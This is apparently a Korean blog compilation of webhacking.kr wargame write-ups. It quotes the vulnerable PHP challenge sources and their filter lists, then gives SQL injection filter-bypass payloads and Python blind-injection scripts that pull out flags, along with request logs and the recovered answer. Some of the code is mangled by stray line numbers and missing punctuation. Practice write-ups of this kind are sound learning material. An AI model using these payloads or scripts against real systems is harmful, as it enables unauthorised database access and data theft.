1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
 <html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>&nbsp;&nbsp;&nbsp;<input type=reset>
</form>
<?
if(time()<1258110000exit();
?>
<!-- index.phps -->
 
<?
if($_GET[id] && $_GET[pw])
{
 
$_GET[id]=mb_convert_encoding($_GET[id],'utf-8','euc-kr');
 
 
foreach($_GET as $ck)
{
if(eregi("from",$ck)) exit();
if(eregi("pw",$ck)) exit();
if(eregi("\(",$ck)) exit();
if(eregi("\)",$ck)) exit();
if(eregi(" ",$ck)) exit();
if(eregi("%",$ck)) exit();
if(eregi("=",$ck)) exit();
if(eregi(">",$ck)) exit();
if(eregi("<",$ck)) exit();
if(eregi("@",$ck)) exit();
}
 
 
if(eregi("union",$_GET[id])) exit();
 
$data=@mysql_fetch_array(mysql_query("select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')"));
 
 
if($data)
{
if($data[0]=="1"echo("level : 1<br><br>");
if($data[0]=="2"echo("level : 2<br><br>");
 
if($data[0]=="3")
{
@solve();
}
 
 
if(!$data)
{
echo("Wrong");
}
 
}
 
?>
 
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=hahah>hahah</a></center>
<br><br><br>
</body>
</html>
 
cs


mb_convert_encoding 함수는 문자 인코딩을 변환해준다.


mb_convert_encoding(string $str, string $to_encoing, $from_encoding);


ex)

/* Convert EUC-JP to UTF-7 */

$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");


$_GET[id] 값에 인코딩을 euc-kr -> utf-8로 변환한다.

그후 GET 메소드로 전달받은 값을 필터한다.


# 필터 문자


from

pw

(

)

공백

%

=

>

<

@


추가로 $_GET[id]에 union이 오면 필터.

SELECT lv from members WHERE id='$_GET[id]' and pw=md5('$_GET[pw]')

쿼리 결과 lv=1 이면 level : 1 출력, lv=2 이면 level : 2출력

lv=3 이면 solve() 함수가 호출된다.


쿼리 결과 레코드가 없거나 문법 오류가 발생하면 Wrong을 출력한다.


SELECT * FROM tb id='$_GET[id]' and pw='$_GET[pw]' 쿼리를 통해 lv=3 레코드를 추출하면된다.

mb_convert_encoding 함수 취약점을 이용해 우회가 가능하다.

2018/09/11 - [WEB Hacking/정리] - 멀티 바이트 언어셋 환경 :: addslashs(), magic_quotes_gpc 우회



?id=rap1er%aa%27or%0alv%0alike%0a3%23 // rap1er' or lv like 3#

select lv from members where id='rap1er' or lv like 3#' and pw=md5('$_GET[pw]')

처음에 위와 같이 입력하여 보냈는데 왜 안되지? 생각하다가 lv like 3 대신 레코드가 몇개인지 궁금했다.

1=1 limit 0,1# // level : 1 출력

1=1 limit 2,1# // level : 1 출력

1=1 limit 5,1# // level : 1 출력

????.... 뭔가 이상했다


1=1 order by 1 asc   // level : 1 출력

1=1 order by 1 desc // level : 1 출력

이번에는 order by 로 해봤다. 레코드는 1개인 것 같다...?

근데 레코드가 1개이면 limit 5,1이 어떻게되지?


어쨌든 데이터베이스에 lv=3 레코드가 없는 것을 확인했다. union을 통해 만들 수 있다.
id 파라미터에 union이 필터링 돼 있고 pw에는 없으니까 pw를 통해 만들어보자.


select lv from members where id='rap1er'/* and pw=md5(*/ union select 3#)

?id=rap1er%aa%27/*&pw=*/union%0aselect%0a3%23



union 관련된 걸 입력하는 문제는 다 문제있는 것 같다. 

Not Acceptable.......짜증나

















 <html>
<head>
<title>Challenge 7</title>
</head>
<body>
<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}

if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 




?>

<!--

index.phps

-->



</body>
</html>
 

# 필터문자


--

2

50

+

substring

from

infor

mation

lv

공백

=

!

<>

sysM

and

or

table

column


val=2를 넣으면 바로 풀릴 것 같지만 힌트에 명시되어 있다. 데이터베이스에 존재하지 않는다고.. 

따라서 UNION을 이용해 칼럼수와 자료형을 맞추고 거짓 union select 2와 같이 쿼리를 보낸다.

select lv from lv1 where lv=(10)%0aunion%0aselect%0a(5-3) 로 로컬에서 풀어서 인증하는데

계속 안돼서 검색해보니 문제오류? 인듯 하다.





풀었으니까 인증은 올려야쥐

<html>
<head>
<title>Challenge 35</title>
<head>
<body>
<form method=get action=index.php>
phone : <input name=phone size=11><input type=submit value='add'>
</form>
<?
if($_GET[phone])
{
if(eregi("%|\*|/|=|from|select|x|-|#|\(\(",$_GET[phone])) exit("no hack");

@mysql_query("insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone])") or die("query error");
echo("Done<br>");
}

$admin_ck=mysql_fetch_array(mysql_query("select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'"));

if($admin_ck[ip]==$_SERVER[REMOTE_ADDR])
{
@solve();
@mysql_query("delete from challenge35_list");
}
$phone_list=@mysql_query("select * from challenge35_list where ip='$_SERVER[REMOTE_ADDR]'");

echo("<!--");

while($d=@mysql_fetch_array($phone_list))
{
echo("$d[id] - $d[phone]\n");
}

echo("-->");

?>
<br><a href=index.phps>index.phps</a>
<br><br><br>
<center>Thanks to <a href=http://webhacking.kr/index.php?mode=information&id=HellSonic>HellSonic</a></center>
<br><br><br>
</body>
</html>

11자리 phone이라는 파라미터를 입력받아 서버로 보낸다.


# 필터문자


%

*

/

=

from

select

x

-

#

((


insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',$_GET[phone]) 

필터 처리하고 challenge35_list 테이블에 id, ip, phone 값을 보낸다.


$_SESSION[id]

$_SERVER[REMOTE_ADDR]

$_GET[phone]



select ip from challenge35_list where id='admin' and ip='$_SERVER[REMOTE_ADDR]'

현재 접속한 사용자가 관리자가이 맞는지 체크한다.


insert into challenge35_list(id,ip,phone) values('$_SESSION[id]','$_SERVER[REMOTE_ADDR]',1),(0b0110000101100100011011010110100101101110,CHAR(?,?,?,?,?,?,?,?,?,?,?,?,?),2)


id 파라미터에 2진법으로 admin 값을 넣었고, ip는 char 함수를 사용해 현재 IP 주소를 넣었다.





























 <html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>USER-AGENT

<?
$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);
$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";

$agent=strtolower($agent);

if(preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if($ck)
{ 
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")

{
@solve();
@mysql_query("delete from lv0");
}


}

if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}


?>

<!--

index.phps

-->

</body>
</html>






USER-AGENT 값을 trim 함수로 \t(탭), \n(개행), \r(캐리지리턴), \0(NULL), \x0b(수직탭) 문자가 포함되었을 경우

제거한다.


# $_SERVER['HTTP_USER_AGENT'] 치환


. -> _

/ -> _


# 필터문자

/

*

union
char
ascii
select
out
infor
schema
columns
sub
-
+
|
!
update
del
drop
from
where
order
by
asc
desc
lv
borad
0~9 숫자
sys
pass
.
like
and
''
sub


$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);

$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

//필터 처리를 마친후 다시 USER_AGENT 를 가져와서 싱글쿼터, \" 를 없앤다.



$count_ck=mysql_fetch_array(mysql_query("select count(id) from lv0"));

if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }

lv0 테이블에 id 개수가 70이상이면 lv0 테이블을 삭제,



id 개수가 70 미만이면 

SELECT id FROM lv0 WHERE agent='$_SERVER["HTTP_USER_AGENT"]'; 쿼리를 보낸다.



HTTP_USER_AGENT에 해당하는 id를 가져오고 해당 id 값이 admin이면 solve() 함수 호출.

쿼리 후 반환 레코드가 없으면 INSERT INTO lv0 (blah blah) 쿼리로 데이터 추가한다.




# 문제 풀이



우선 lv0 테이블에는 agent, ip, id 칼럼이 존재한다.

처음에 문제를 잘못봤다. 데이터 삽입 쿼리에 $agent가 들어가는데 $_SERVER['HTTP_USER_AGENT'] 값이 들어가는 줄 알고

어떻게 레코드를 삽입하지? 싱글쿼터도 먹혔는데 ... 하고 한참 고민하다가 뒤늦게 $agent 값으로 들어간다는걸 알게됐다....



HTTP REQUEST HEADER user-agent 값에 aaaa','192.168.10.10','admin'),('bbbb 라고 입력하면된다.

그러면 INSERT INTO lv0 (agent, ip, id) VALUES ('aaaa','192.168.10.10','admin'),('bbbb', '192.168.10.10','guest') 같이 입력이 돼서

2개 레코드가 한방에 lv0 테이블에 삽입된다.


그후 HTTP REQUEST HEADER user-agent에 aaaa라고 입력해서 서버로 요청을 보내면 

select id from lv0 where agent='aaaa' 쿼리를 처리하게 되고 agent가 aaaa인 레코드의 id 값은 admin 이므로 solve()함수가 호출된다.



<html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
level : <input name=lv value=1><input type=submit>
</form>
<?
if(time()<1258110000) exit();

if($_GET[lv])
{
if(eregi("union",$_GET[lv])) exit();
if(eregi("from",$_GET[lv])) exit();
if(eregi("select",$_GET[lv])) exit();
if(eregi("or",$_GET[lv])) exit();
if(eregi("and",$_GET[lv])) exit();
if(eregi("\(",$_GET[lv])) exit();
if(eregi("\)",$_GET[lv])) exit();
if(eregi("limit",$_GET[lv])) exit();
if(eregi(",",$_GET[lv])) exit();
if(eregi("/",$_GET[lv])) exit();
if(eregi("by",$_GET[lv])) exit();
if(eregi("desc",$_GET[lv])) exit();
if(eregi("asc",$_GET[lv])) exit();
if(eregi("cash",$_GET[lv])) exit();
if(eregi(" ",$_GET[lv])) exit();
if(eregi("%09",$_GET[lv])) exit();

$q=@mysql_fetch_array(mysql_query("select id from members where lv=$_GET[lv]"));

echo($q[0]);
if($q[0]=="admin") @solve();

}
?>
<!-- index.phps -->
</body>
</html>

2009-11-13 20:00:00 

필터된 문자

union

from

select

or

and

(, )

limit

,

/

by

desc

asc

cash

공백

%09




SELECT id from members where lv=$_GET[lv]

id가 admin이면 된다. lv=1000 || id=0x61646d696e

공백은 %0a로 채워준다. lv=1000%0a||%0aid=0x61646d696e%23










위와 같이 1,2,3 번을 누른 화면이다. 파라미터로 no를 전달하며 no=3 일 때 힌트 페이지를 제공해준다.

데이터베이스 안에 칼럼은 id, no로 구성돼있고 11자리인 칼럼이 답인 것 같다.

URL에 no 칼럼이 보이니까 id 칼럼이 문제의 답이다. 


no 파라미터에 1,2,3 이외 숫자를 입력하면 Password 입력폼만 출력된다.

이것을 통해 참/거짓을 구분할 수 있고 Blind SQL 인젝션 공격을 할 수 있다.

2018/09/07 - [WEB Hacking/정리] - [MySQL] Blind SQL 인젝션 :: IF문



이전에도 이러한 비슷한 문제를 풀어서 no=IF(조건, 1,100)와 같이 참이면 no=1, 거짓이면 no=1000으로

쿼리문을 만들어 id 값의 정보를 얻을 수 있다.

2018/09/06 - [WEB Hacking/webhacking.kr] - [webhacking.kr] 13번 Blind SQL 인젝션 equal bypass



no=IF( (length(id))IN(1),1,1000)

no=IF( (length(id))IN(2),1,1000)

no=IF( (length(id))IN(3),1,1000)

...

no=IF( (length(id))IN(5),1,1000)

no=1일 때 id 길이는 5이다.


no=IF((substr(id,1,1))IN(0x61),1,1000)

no=IF((substr(id,1,1))IN(0x62),1,1000)

...


no=1일 때 id 는 Apple이라는 것을 얻었다.

그럼 분명 no=2일 때 id는 Banana일 것이고 no=3일 때 id가 이 문제의 답이라는 것을 추측할 수 있다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "<b>Secret</b>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'PASSSWORD'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#   password length   
#    ex) no=IF((length(id))IN({}),3,1000)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-09/index.php?"
 
for i in xrange(1,50):
    injectParams = "no=IF((length(id))IN({}),3,1000)".format(str(i))
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
pw_len = i
print "password length :" + str(pw_len)
 
 
##################################################################
#    password string 
#    no=IF((substr(id,{},1))IN({}),3,1000)
##################################################################
count=1
password = ""
for i in xrange(1, pw_len+1):
    for j in xrange(65127):
        # injectParams = "no=IF((substr(id,{},1))IN({}),3,1000)".format(str(i), hex(j))
        injectParams = "no=IF((substr(id,"+str(i)+",1))IN("+hex(j)+"),3,1000)"
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
            break
        else:
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
 
    password += chr(j)
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs




첫번째 텍스트 입력폼에 값을 입력하면 no 라는 파라미터로 서버에 전달된다.

1을 입력하면 화면에 1이 출력되고 그 이외 값은 전부 0이 출력된다. (0을 입력할 경우 재입력하는 것 같음)

no=100 or 1=1# 을 입력해 항상 참이되는 결과를 출력하려 했지만 필터처리된다.



// 필터 문자

#

--

/**/

=

<, >

like

ascii

hex

char

mid

and

||   or는 필터처리안하면서?..

&&

left

right

limit


...



// 사용가능한 문자

or

substr

bin

lpad

(, )

IN


필터 우회(equal 우회)

// no = 100 or 1 IN (1)

no=100%0aor%0a1%0aIN%281%29 를 URL에 입력하니 참 페이지가 출력됐다.

이번 문제도 블라인드 SQL 인젝션을 통해 힌트에 나온 flag 값을 추출해보자.


우선 flag의 길이를 확인할 것이다.

no=100 or length(flag) IN(flag 길이) 와 같이 참이 되도록 하나하나 입력해보다 안나와서 뭐지 싶었다.

no=1 or length(flag) IN(flag 길이)로 바꿔서 항상 참이 되도록 한 다음 서버로 보내도 Result 0이 출력되었다.

순간 뭐지? 하다가 추측한 결과 flag는 다른 테이블에 있는 필드라는 것이다. 


결과화면을 보았을 때 쿼리문을 추측하면 다음과 같다.

<?

...


if($_GET['idx'] < 0){ echo "no hack!"; exit; } if(!empty($_GET['idx'])){ $qry = "SELECT * FROM test WHERE idx=".$_GET['idx']; $result = mysql_query($qry,$connect); $num_rows = @mysql_num_rows($result); if($num_rows){ echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".$num_rows."</td></tr></table>"; }else{ echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".'0'."</td></tr></table>"; } }


...

?>


힌트에서도 나왔듯 flag 필드는 prob13password라는 테이블에 존재한다.

no=IF((SELECT length(flag) from prob13password) IN(flag 길이) , 1,2) 와 같이 prob13password에서 flag 길이가 맞으면 1, 틀리면 2를 no 파라미터에

전달한다. no 파라미터가 1이면 result는 1로 출력되고 그 이외 값은 0을 출력하는 특성을 이용한 것이다.


하지만 현재 prob13password 테이블에는 레코드가 1개 이상 존재하여 아래와 같은 오류메시지를 출력한다. (로컬에서 테스트해본 결과)

ERROR 1242 (21000): Subquery returns more than 1 row

따라서 limit 등과 같이 특정 레코드만 추출할 수 있어야 하는데 필터돼있다.

우선 레코드가 몇개 존재하는지 count() 집계 함수를 사용해 알아낸다. (집계함수는 SELECT 또는 HAVING 절에 위치함. 다른곳은 못씀.)

no=IF((SELECT count(flag) FROM prob13password)IN(2),1,100) 에서 참이 출력됐다. prob13password 테이블에 레코드는 2개존재하며 

특정 레코드를 추출하기 위해 min, max() 함수를 사용한다.

no=IF((SELECT length(min(flag)) from prob13password) IN(flag 길이) , 1,2) 




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'PASSWORD'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#    select substr(lpad(bin(hex(substr(pw,{},1))),7,0),{},1);
#    no=IF((SELECT substr(min(flag),{},1) from prob13password) IN({}),1,2)
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(0x210x7F):
        injectParams = "no=IF((SELECT substr(min(flag),"+str(i)+",1) from prob13password) IN("+hex(j)+"),1,2)"
        injectParams = injectParams.replace(" ","%0a")
 
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
        count+=1
 
        if find:
            password+=chr(j);
            break
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
cs



XOR 연산자를 통해 = 필터를 우회할 수 있다.

[참고]

2018/09/06 - [WEB Hacking/MySQL] - [MySQL] equal(=) 우회 (IN, regexp, like, XOR)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passsssword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=(SELECT length(min(flag)) from prob13password)^{}^1
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,51):
    injectParams = "no=(SELECT length(min(flag)) from prob13password)%5E"+str(i)+"%5E1"
    injectParams = injectParams.replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
 
print "password length :" + str(i)
 
cs




// Efficient Blind SQL 인젝션 

ascii 함수가 필터돼서 위 스크립트 방법으로 했는데 ascii 함수와 동일한 기능을 하는 함수를 알게됨

ord() 함수로 ascii 함수가 필터처리 된 것을 우회할 수 있음.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passssword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#     no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(18):
        injectParams = "no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)".format(i,j).replace(" ","%0a")
 
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            bin_tmp += '0'
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 0)
        else:
            bin_tmp += '1'
    print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 1)
 
    password += chr(int(bin_tmp,2))
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs






18's password : challenge13luckcle

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 128's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 129's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 134's injection =1

19's password : challenge13luckclea

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 135's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 136's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 137's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 140's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =1

20's password : challenge13luckclear

PASSWORDDDDDDDD is :challenge13luckclear


+ Recent posts